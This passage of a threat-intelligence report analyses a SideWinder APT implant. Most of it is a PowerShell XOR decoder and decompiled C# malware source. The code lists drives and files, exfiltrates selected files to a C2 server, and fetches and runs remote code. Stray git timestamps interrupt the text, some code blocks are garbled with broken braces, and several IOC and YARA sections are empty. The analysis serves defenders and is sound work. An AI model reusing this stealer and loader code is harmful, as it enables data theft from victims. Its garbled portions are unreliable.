[byte[]] $array2 = [System.Byte[]]::CreateInstance([System.Byte],$array.length -32)
[System.Buffer]::BlockCopy($array, 32, $array2, 0, $array2.Length)
for ($i = 0; $i -lt $array2.length; $i++)
{
[byte[]] $array3 = $array2
[int] $num = $i
$array3[$num] = $array3[$num] -bxor $array[$i % 32]
}
[System.IO.File]::WriteAllBytes("path to save", $array2)
```
2019-12-28 00:26:56 +00:00
<h6>Once this done, we can see that the payload have 4 modules, the first one get the list of the disks, infos and the list of the files of them</h6>
2019-12-27 23:00:17 +00:00
2019-12-28 00:26:56 +00:00
```csharp
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
namespace SystemApp
{
// Token: 0x02000003 RID: 3
internal class FileListing
{
// Token: 0x0600001A RID: 26 RVA: 0x000025E8 File Offset: 0x000007E8
public static void WriteListing(BinaryWriter output, string[] selectFileExtensions, int maxSelectFileSize, List<Settings.File> selectedFiles)
{
output.Write(Encoding.ASCII.GetBytes("FL"));
output.Write(1);
Queue<FileListing.DirectoryOffset> queue = new Queue<FileListing.DirectoryOffset>();
DriveInfo[] drives = DriveInfo.GetDrives();
output.Write(drives.Length);
foreach (DriveInfo driveInfo in drives)
{
output.Write(driveInfo.Name);
output.Write((int)driveInfo.DriveType);
output.Write(driveInfo.IsReady);
if (driveInfo.IsReady)
{
output.Write(driveInfo.DriveFormat);
output.Write(driveInfo.AvailableFreeSpace);
output.Write(driveInfo.TotalFreeSpace);
output.Write(driveInfo.TotalSize);
output.Write(driveInfo.VolumeLabel);
if (driveInfo.DriveType == DriveType.Fixed)
{
queue.Enqueue(new FileListing.DirectoryOffset(driveInfo.Name, output.BaseStream.Position));
output.Write(0L);
}
else {output.Write(-1L);}
}
else {output.Write(-1L);}
}
while (queue.Count > 0)
{
FileListing.DirectoryOffset directoryOffset = queue.Dequeue();
long position = output.BaseStream.Position;
output.BaseStream.Position = directoryOffset.OffsetPosition;
output.Write(position);
output.BaseStream.Position = position;
try
{
DirectoryInfo directoryInfo = new DirectoryInfo(directoryOffset.Path);
DirectoryInfo[] directories = directoryInfo.GetDirectories();
FileInfo[] files = directoryInfo.GetFiles();
output.Write(false);
output.Write(directories.Length);
output.Write(files.Length);
foreach (DirectoryInfo directoryInfo2 in directories)
{
output.Write(directoryInfo2.Name);
output.Write((int)directoryInfo2.Attributes);
output.Write(Convert.ToInt64((directoryInfo2.CreationTimeUtc - FileListing.epoch).TotalSeconds));
output.Write(Convert.ToInt64((directoryInfo2.LastWriteTimeUtc - FileListing.epoch).TotalSeconds));
output.Write(Convert.ToInt64((directoryInfo2.LastAccessTimeUtc - FileListing.epoch).TotalSeconds));
queue.Enqueue(new FileListing.DirectoryOffset(directoryInfo2.FullName, output.BaseStream.Position));
output.Write(0L);
}
foreach (FileInfo fileInfo in files)
{
output.Write(fileInfo.Name);
output.Write((int)fileInfo.Attributes);
output.Write(Convert.ToInt64((fileInfo.CreationTimeUtc - FileListing.epoch).TotalSeconds));
output.Write(Convert.ToInt64((fileInfo.LastWriteTimeUtc - FileListing.epoch).TotalSeconds));
output.Write(Convert.ToInt64((fileInfo.LastAccessTimeUtc - FileListing.epoch).TotalSeconds));
output.Write(fileInfo.Length);
int j = 0;
while (j < selectFileExtensions.Length)
{
if (fileInfo.Name.EndsWith(selectFileExtensions[j], StringComparison.CurrentCultureIgnoreCase) && fileInfo.Length <= (long)maxSelectFileSize)
{
Settings.File item = new Settings.File(fileInfo.FullName);
if (!selectedFiles.Contains(item))
{
selectedFiles.Add(item);
break;
}
break;
}
else {j++;}
}
}
}
catch (Exception ex)
{
output.Write(true);
output.Write(ex.Message);
output.Write(ex.ToString());
}
}
}
// Token: 0x0400000E RID: 14
private static readonly DateTime epoch = new DateTime(1970, 1, 1, 0, 0, 0, 0, DateTimeKind.Utc);
// Token: 0x02000008 RID: 8
private class DirectoryOffset
{
// Token: 0x06000045 RID: 69 RVA: 0x000044E8 File Offset: 0x000026E8
public DirectoryOffset(string path, long offsetPosition)
{
this._path = path;
this._offsetPosition = offsetPosition;
}
// Token: 0x17000013 RID: 19
// (get) Token: 0x06000046 RID: 70 RVA: 0x000044FE File Offset: 0x000026FE
public string Path {get{return this._path;}}
// Token: 0x17000014 RID: 20
// (get) Token: 0x06000047 RID: 71 RVA: 0x00004506 File Offset: 0x00002706
public long OffsetPosition {get{return this._offsetPosition;}}
// Token: 0x04000024 RID: 36
public readonly string _path;
// Token: 0x04000025 RID: 37
public readonly long _offsetPosition;
}
}
}
```
###### The second module, this select the good extension instead of the content to push, this use too a popular JSON framework for .NET (Newtonsoft). Once the files done, this add a queue for send files at the C2 by zip files. The origin path, type, offset of the files of the victim is push in base 64 in the X-File references in the header. The JSON files are still stored in Appdata with a folder with the identicator name ```CommonsDat``` instead of ```AuthyDat``` for the last operation against China (cf last analysis) </h6>
```csharp
using System;
using System.Collections.Generic;
using System.IO;
using System.IO.Compression;
using System.Net;
using System.Reflection;
using System.Text;
using System.Threading;
using Module;
using Newtonsoft.Json;
using SystemApp.Properties;
namespace SystemApp
{
// Token: 0x02000004 RID: 4
public class Program
{
// Token: 0x0600001D RID: 29 RVA: 0x000029B0 File Offset: 0x00000BB0
static Program()
{
AppDomain.CurrentDomain.AssemblyResolve += delegate(object sender, ResolveEventArgs args)
{
if (args.Name.StartsWith("Newtonsoft.Json,")){return Assembly.Load(Resources.Newtonsoft_Json);}
return null;
};
}
// Token: 0x0600001E RID: 30 RVA: 0x000029CC File Offset: 0x00000BCC
public void Start()
{
try
{
this._settings = Settings.LoadSettings();
this._getTimer = new Timer(new TimerCallback(this.GetTimerCallback), null, 5000, -1);
this._postTimer = new Timer(new TimerCallback(this.PostTimerCallback), null, 5000, -1);
if (this._settings.DoSysInfo){
this.WriteSysInfo();
this._settings.DoSysInfo = false;
this._settings.Save();}
if (this._settings.DoFileSelection){
this.WriteFileListing();
this.WriteSelectedFiles();
this._settings.DoFileSelection = false;
this._settings.Save();}
Thread.Sleep(-1);
}
finally
{
try{
this._getTimer.Dispose();
this._postTimer.Dispose();}
catch{}
}
}
// Token: 0x0600001F RID: 31 RVA: 0x00002ABC File Offset: 0x00000CBC
private void WriteSysInfo()
{
try
{
string tempFileName = Path.GetTempFileName();
using (FileStream fileStream = new FileStream(tempFileName, FileMode.Create, FileAccess.Write)){SysInfo.WriteTo(fileStream);}
File.Move(tempFileName, Path.Combine(this._settings.OutputFolder, Path.GetRandomFileName() + ".sif"));
}
catch (Exception ex)
{
try{File.WriteAllText(Path.Combine(this._settings.OutputFolder, Path.GetRandomFileName() + ".err"), ex.ToString());}
catch{}
}
}
// Token: 0x06000020 RID: 32 RVA: 0x00002B6C File Offset: 0x00000D6C
private void WriteFileListing()
{
try
{
string tempFileName = Path.GetTempFileName();
using (FileStream fileStream = new FileStream(tempFileName, FileMode.Create, FileAccess.ReadWrite)){
List<Settings.File> selectedFiles = this._settings.SelectedFiles;
lock (selectedFiles)
{
FileListing.WriteListing(new BinaryWriter(fileStream), this._settings.SelectFileExtensions, this._settings.MaxSelectFileSize, this._settings.SelectedFiles);}}
File.Move(tempFileName, Path.Combine(this._settings.OutputFolder, Path.GetRandomFileName() + ".flc"));
}
catch (Exception ex)
{
try{File.WriteAllText(Path.Combine(this._settings.OutputFolder, Path.GetRandomFileName() + ".err"), ex.ToString());}
catch{}
}
}
// Token: 0x06000021 RID: 33 RVA: 0x00002C68 File Offset: 0x00000E68
private void WriteSelectedFiles()
{
try
{
string tempFileName = Path.GetTempFileName();
using (FileStream fileStream = new FileStream(tempFileName, FileMode.Create, FileAccess.ReadWrite)){
JsonTextWriter jsonTextWriter = new JsonTextWriter(new StreamWriter(fileStream, Encoding.UTF8));
jsonTextWriter.WriteStartObject();
jsonTextWriter.WritePropertyName("selectedFiles");
jsonTextWriter.WriteStartArray();
List<Settings.File> selectedFiles = this._settings.SelectedFiles;
lock (selectedFiles)
{
foreach (Settings.File file in this._settings.SelectedFiles)
{
jsonTextWriter.WriteStartObject();
jsonTextWriter.WritePropertyName("filePath");
jsonTextWriter.WriteValue(file.FilePath);
jsonTextWriter.WritePropertyName("complete");
jsonTextWriter.WriteValue(file.Complete);
jsonTextWriter.WritePropertyName("sentOffset");
jsonTextWriter.WriteValue(file.SentOffset);
jsonTextWriter.WriteEndObject();}}
jsonTextWriter.WriteEndArray();
jsonTextWriter.WriteEndObject();
jsonTextWriter.Flush();}
File.Move(tempFileName, Path.Combine(this._settings.OutputFolder, Path.GetRandomFileName() + ".fls"));
}
catch (Exception ex)
{
try{File.WriteAllText(Path.Combine(this._settings.OutputFolder, Path.GetRandomFileName() + ".err"), ex.ToString());}
catch{}
}
}
// Token: 0x06000022 RID: 34 RVA: 0x00002E48 File Offset: 0x00001048
private byte[] DecodeData(byte[] data)
{
byte[] array = new byte[data.Length - 32];
Buffer.BlockCopy(data, 32, array, 0, array.Length);
for (int i = 0; i < array.Length; i++)
{
byte[] array2 = array;
int num = i;
array2[num] ^= data[i % 32];
}
return array;
}
// Token: 0x06000023 RID: 35 RVA: 0x00002E90 File Offset: 0x00001090
private void GetTimerCallback(object state)
{
try
{
for (;;){
using (Program.WebClient webClient = new Program.WebClient())
{this.Process(this.DecodeData(webClient.DownloadData(this._settings.ServerUri)));}}}
catch{}
finally {this._getTimer.Change(this._settings.GetInterval, -1);}
}
// Token: 0x06000024 RID: 36 RVA: 0x00002F10 File Offset: 0x00001110
private void PostTimerCallback(object state)
{
try
{
string[] files = Directory.GetFiles(this._settings.OutputFolder);
for (int i = 0; i < files.Length; i++){
Settings.File item = new Settings.File(files[i]);
if (!this._settings.OutputFiles.Contains(item))
{
this._settings.OutputFiles.Add(item);}}
List<Settings.File> list = new List<Settings.File>();
foreach (Settings.File file in this._settings.OutputFiles){
if (file.Complete)
{
try
{
File.Delete(file.FilePath);
list.Add(file);
continue;}
catch{continue;}}
try
{
string fileType = null;
string extension = Path.GetExtension(file.FilePath);
if (extension != null)
{
if (!(extension == ".sif")){
if (!(extension == ".flc")){{if (!(extension == ".fls")){{{ if (extension == ".err"){ {{ fileType = "errorReport";{ }{}{else{{{ fileType = "fileSelection";{}}
else{{fileType = "fileListing";}}
else{fileType = "sysInfo";}}
this.UploadFile(file, fileType);
try
{
File.Delete(file.FilePath);
list.Add(file);}
catch{}}
catch (WebException) {break;}
catch (Exception ex)
{
try{File.WriteAllText(Path.Combine(this._settings.OutputFolder, Path.GetRandomFileName() + ".err"), ex.ToString());}
catch{}
try{File.Delete(file.FilePath);}
catch{}
try{list.Add(file);}
catch{}}}
foreach (Settings.File item2 in list){this._settings.OutputFiles.Remove(item2);}
if (this._settings.DoFileUpload){
List<Settings.File> selectedFiles = this._settings.SelectedFiles;
Settings.File[] array;
lock (selectedFiles)
{
array = this._settings.SelectedFiles.ToArray();}
foreach (Settings.File file2 in array)
{
if (!file2.Complete)
{
try{this.UploadFile(file2, null);}
catch (WebException){break;}
catch (Exception ex2){try{{File.WriteAllText(Path.Combine(this._settings.OutputFolder, Path.GetRandomFileName() + ".err"), ex2.ToString());}
catch{}
file2.Complete = true;}}}}
}
catch (Exception ex3){try{File.WriteAllText(Path.Combine(this._settings.OutputFolder, Path.GetRandomFileName() + ".err"), ex3.ToString());}
catch{}
}
finally
{
this._settings.Save();
this._postTimer.Change(this._settings.PostInterval, -1);
}
}
// Token: 0x06000025 RID: 37 RVA: 0x0000338C File Offset: 0x0000158C
private void UploadFile(Settings.File file, string fileType = null)
{
using (FileStream fileStream = new FileStream(file.FilePath, FileMode.Open, FileAccess.Read, FileShare.Read | FileShare.Write | FileShare.Delete))
{
byte[] array = new byte[524288];
using (Program.WebClient webClient = new Program.WebClient()){
for (;;)
{
fileStream.Position = file.SentOffset;
int num = fileStream.Read(array, 0, array.Length);
if (num < 1){break;}
webClient.ContentType = "application/x-raw";
webClient.Headers.Clear();
webClient.Headers.Add("X-File-Path", Convert.ToBase64String(Encoding.UTF8.GetBytes(file.FilePath)));
webClient.Headers.Add("X-File-Offset", file.SentOffset.ToString());
webClient.Headers.Add("X-File-Length", fileStream.Length.ToString());
if (fileType != null){webClient.Headers.Add("X-File-Type", fileType);}
if (num == array.Length){webClient.UploadData(this._settings.ServerUri, array);}
else
{
byte[] array2 = new byte[num];
Buffer.BlockCopy(array, 0, array2, 0, num);
webClient.UploadData(this._settings.ServerUri, array2);}
file.SentOffset += (long)num;}
file.Complete = true;}
}
}
// Token: 0x06000026 RID: 38 RVA: 0x0000350C File Offset: 0x0000170C
private void Process(byte[] data)
{
ThreadPool.QueueUserWorkItem(delegate(object state)
{
try{
AppDomain appDomain = AppDomain.CreateDomain("");
try
{
Loader loader = (Loader)appDomain.CreateInstance(typeof(Loader).Assembly.GetName().Name, typeof(Loader).FullName).Unwrap();
byte[] array;
using (MemoryStream memoryStream = new MemoryStream())
{
this._settings.WriteTo(new BinaryWriter(memoryStream));
array = memoryStream.ToArray();}
string text = loader.Load(data, new object[]{array}).ToString();
if (!string.IsNullOrEmpty(text))
{
using (MemoryStream memoryStream2 = new MemoryStream(Convert.FromBase64String(text))){
BinaryReader binaryReader = new BinaryReader(memoryStream2);
while (memoryStream2.Position < memoryStream2.Length){{switch (binaryReader.ReadByte()){{{case 1:{ this.WriteSysInfo();{ continue;{case 2:{ this.WriteFileListing();{ continue;{case 3:{ this.WriteSelectedFiles();{ continue;{case 4:{ this._settings.ReadFrom(binaryReader);{ this._settings.Save();{ continue;{case 5:{ this._settings.ServerUri = new Uri(binaryReader.ReadString());{ continue;{case 6:{ this._settings.DoFileUpload = binaryReader.ReadBoolean();{ continue;{case 7:{ this._settings.SelectFileExtensions = new string[binaryReader.ReadInt32()];{ for (int i = 0; i < this._settings.SelectFileExtensions.Length; i++){ {{ this._settings.SelectFileExtensions[i] = binaryReader.ReadString();{ }{ continue;{case 8:{ this._settings.MaxSelectFileSize = binaryReader.ReadInt32();{ continue;{case 9:{{{ Settings.File item = new Settings.File(binaryReader.ReadString());{ List<Settings.File> selectedFiles = this._settings.SelectedFiles;{ lock (selectedFiles){ {{ int num = this._settings.SelectedFiles.IndexOf(item);{ if (num < 0){ {{ this._settings.SelectedFiles.Add(item);{ }{ else{ {{ this._settings.SelectedFiles[num].SentOffset = 0L;{ this._settings.SelectedFiles[num].Complete = false;{ }{ continue;{ }{ break;{}{case 10:{ break;{default:{ continue;{}{this._settings.Save();}}}}
finally{AppDomain.Unload(appDomain);}}
catch (Exception ex){
try{File.WriteAllText(Path.Combine(this._settings.OutputFolder, Path.GetRandomFileName() + ".err"), ex.ToString());}
catch{}}
});
}
// Token: 0x0400000F RID: 15
private Settings _settings;
// Token: 0x04000010 RID: 16
private Timer _getTimer;
// Token: 0x04000011 RID: 17
private const int GET_TIMER_INITIAL_INTERVAL = 5000;
// Token: 0x04000012 RID: 18
private Timer _postTimer;
// Token: 0x04000013 RID: 19
private const int POST_TIMER_INITIAL_INTERVAL = 5000;
// Token: 0x02000009 RID: 9
private class WebClient : System.Net.WebClient
{
// Token: 0x06000048 RID: 72 RVA: 0x00004510 File Offset: 0x00002710
protected override WebRequest GetWebRequest(Uri uri)
{
HttpWebRequest httpWebRequest = base.GetWebRequest(uri) as HttpWebRequest;
httpWebRequest.ReadWriteTimeout = 120000;
httpWebRequest.AutomaticDecompression = (DecompressionMethods.GZip | DecompressionMethods.Deflate);
if (!string.IsNullOrEmpty(this.ContentType)){httpWebRequest.ContentType = this.ContentType;}
return httpWebRequest;
}
// Token: 0x06000049 RID: 73 RVA: 0x00004556 File Offset: 0x00002756
public new byte[] UploadData(string address, byte[] data){return this.UploadData(new Uri(address), data);}
// Token: 0x0600004A RID: 74 RVA: 0x00004568 File Offset: 0x00002768
public new byte[] UploadData(Uri address, byte[] data)
{
WebRequest webRequest = this.GetWebRequest(address);
webRequest.Method = "POST";
webRequest.Headers.Add("Content-Encoding", "gzip");
using (Stream stream = new GZipStream(webRequest.GetRequestStream(), CompressionMode.Compress)){stream.Write(data, 0, data.Length);}
WebResponse response = webRequest.GetResponse();
byte[] result;
using (MemoryStream memoryStream = new MemoryStream()){
using (Stream responseStream = response.GetResponseStream())
{
byte[] array = new byte[1024];
for (;;)
{
int num = responseStream.Read(array, 0, array.Length);
if (num < 1){break;}
memoryStream.Write(array, 0, num);}}
result = memoryStream.ToArray();}
return result;
}
// Token: 0x17000015 RID: 21
// (get) Token: 0x0600004B RID: 75 RVA: 0x00004650 File Offset: 0x00002850
// (set) Token: 0x0600004C RID: 76 RVA: 0x00004658 File Offset: 0x00002858
public string ContentType { get; set; }
}
}
}
```
2019-12-27 19:23:58 +00:00
2019-12-27 13:09:56 +00:00
<h2>Threat Intelligence</h2><a name="Intel"></a></h2>
<h2> Cyber kill chain <a name="Cyber-kill-chain"></a></h2>
<h6>The process graph resume cyber kill chains used by the attacker :</h6>
<p align="center">
<img src="https://raw.githubusercontent.com/StrangerealIntel/CyberThreatIntel/master/Indian/APT/SideWinder/25-12-19/Pictures/Cyber.png">
</p>
<h2> Indicators Of Compromise (IOC) <a name="IOC"></a></h2>
<h6> List of all the Indicators Of Compromise (IOC)</h6>
|Indicator|Description|
| ------------- |:-------------:|
|||
<h6> The IOC can be exported in <a href="">JSON</a></h6>
<h2> References MITRE ATT&CK Matrix <a name="Ref-MITRE-ATTACK"></a></h2>
|Enterprise tactics|Technics used|Ref URL|
| :---------------: |:-------------| :------------- |
|Execution|Execution through Module Load<br>Exploitation for Client Execution|https://attack.mitre.org/techniques/T1129/<br>https://attack.mitre.org/techniques/T1203/|
|Persistence|Registry Run Keys / Startup Folder|https://attack.mitre.org/techniques/T1060/|
|Discovery|Query Registry|https://attack.mitre.org/techniques/T1012/|
<h6> This can be exported as JSON format <a href="https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Indian/APT/SideWinder/25-12-19/JSON/MITRE_ref.json">Export in JSON</a></h6>
<h2>Yara Rules<a name="Yara"></a></h2>
<h6> A list of YARA Rule is available <a href="">here</a></h6>
<h2>Knowledge Graph<a name="Knowledge"></a></h2><a name="Know"></a>
<h6>The following diagram shows the relationships of the techniques used by the groups and their corresponding malware:</h6>
<p align="center">
<img src="">
</p>
<h2>Links <a name="Links"></a></h2>
<h6> Original tweet: </h6><a name="tweet"></a>
* [https://twitter.com/RedDrip7/status/1206898954383740929](https://twitter.com/RedDrip7/status/1206898954383740929)
<h6> Links Anyrun: <a name="Links-Anyrun"></a></h6>
* [Policy on Embedded Systems.doc](https://app.any.run/tasks/1fac2867-012c-4298-af36-a4810d9b72db)
* [adsfa.rtf](https://app.any.run/tasks/72ec8c7c-5542-48fe-8400-ba840de9c0bd)
* [out.rtf](https://app.any.run/tasks/34c8345c-b661-4ca5-ba15-58dcc4e6d968)
<h6> Resources : </h6><a name="Ressources"></a>
* [The SideWinder campaign continue](https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Indian/APT/SideWinder/11-10-2019/Analysis.md)
2019-12-27 19:23:58 +00:00
* [CVE-2017-11882](https://github.com/embedi/CVE-2017-11882)dz
2019-12-27 23:00:17 +00:00
* [A repo for matching on known c2 and exfil traffic keywords](https://github.com/silence-is-best/c2db)